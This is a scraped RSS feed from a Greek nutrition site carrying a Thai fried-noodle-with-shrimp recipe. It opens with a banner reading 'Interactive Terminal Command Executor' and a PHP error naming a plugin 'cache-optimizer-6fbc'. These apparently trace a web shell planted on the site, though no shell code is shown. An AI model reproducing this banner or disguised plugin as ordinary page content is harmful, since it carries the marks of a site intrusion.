AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor


Warning: Cannot modify header information - headers already sent by (output started at /home/valia/public_html/wp-content/plugins/cache-optimizer-6fbc/cache-optimizer-6fbc.php:27) in /home/valia/public_html/wp-includes/feed-rss2.php on line 8
Ethnic – Nutricenter https://valiagrigoriou.com Valia Grigoriou Mon, 13 May 2019 16:12:50 +0000 el hourly 1 https://wordpress.org/?v=6.9.4 https://valiagrigoriou.com/wp-content/uploads/2021/08/cropped-Untitled-1-100x100.png Ethnic – Nutricenter https://valiagrigoriou.com 32 32 Ethnic Συνταγές:Ταϊλάνδη https://valiagrigoriou.com/ethnic-suntages-tailandi/ https://valiagrigoriou.com/ethnic-suntages-tailandi/#respond Mon, 13 May 2019 16:12:50 +0000 http://valiagrigoriou.gr/?p=1154

Τηγανητά νουντλς με γαρίδες

Εξωτική Συνταγή με γαρίδες

Το βασικό χαρακτηριστικό της Ταϊλανδέζικης κουζίνας είναι οι καυτερές πιπεριές και το τσίλι. Το ρύζι, τα λαχανικά και τα θαλασσινά έχουν εξέχουσα θέση στη καθημερινή τους διατροφή. Γενικά η κουζίνα αυτή χαρακτηρίζεται από το πλήθος γεύσεων, πικάντικες, αλμυρές, ξινές και γλυκιές.

Μεριδες: 2 – Θερμιδες: 400 kcal/μερίδα

[siteorigin_widget class=”SiteOrigin_Widget_Image_Widget”][/siteorigin_widget]

Υλικά

  • 2 φλιτζάνια νουντλς από ρύζι (μουλιασμένα σε νερό και στραγγισμένα)
  • 180 γρ καθαρισμένες γαρίδες
  • 1/4 φλιτανιού τόφου
  • 2 κουταλιές φυστίκια
  • 1/3 φλιτζανιού σπορέλαιο
  • 1 κουταλιά σκόρδο, ψιλοκομμένο
  • 1 κουταλιά σάλτσα ψαριού
  • 2 κουταλιές ζάχαρη καρύδας
  • 1 κουταλάκι τριμμένη πιπεριά
  • 2 κουταλιές λευκό ξύδι
  • 1 φλιτζάνι φύτρα φασολιού

Εκτέλεση

  1. Στο γουόκ ζεσταίνετε το λάδι και ρίχνετε το σκόρδο και το τόφου, ανακατεύετε γρήγορα για λίγα λεπτά, χωρίς να τα αφήσετε να ροδίσουν. Προσθέτετε τις γαρίδες και ανακατεύετε γρήγορα.
  2. Μόλις πάρουν άσπρο χρώμα προσθέτετε τα νουντλς και προσθέτετε τη σάλτσα ψαριού, τη ζάχαρη, την πιπεριά και το ξύδι.
  3. Μόλις μαλακώσουν τα νουντλς προσθέτετε τα φιστίκια και τέλος τα φύτρα φασολιού.

Tip: Μπορείτε να αντικαταστήσετε τις γαρίδες με κομμάτια από στήθος κοτόπουλου.

Το σχόλιο του διαιτολόγου

Το γεύμα αυτό περιέχει πρωτεΐνες υψηλής βιολογικής αξίας, άμυλο, ακόρεστα λιπαρά οξέα , φυτικές ίνες, βιταμίνες, μέταλλα και ιχνοστοιχεία.

]]> https://valiagrigoriou.com/ethnic-suntages-tailandi/feed/ 0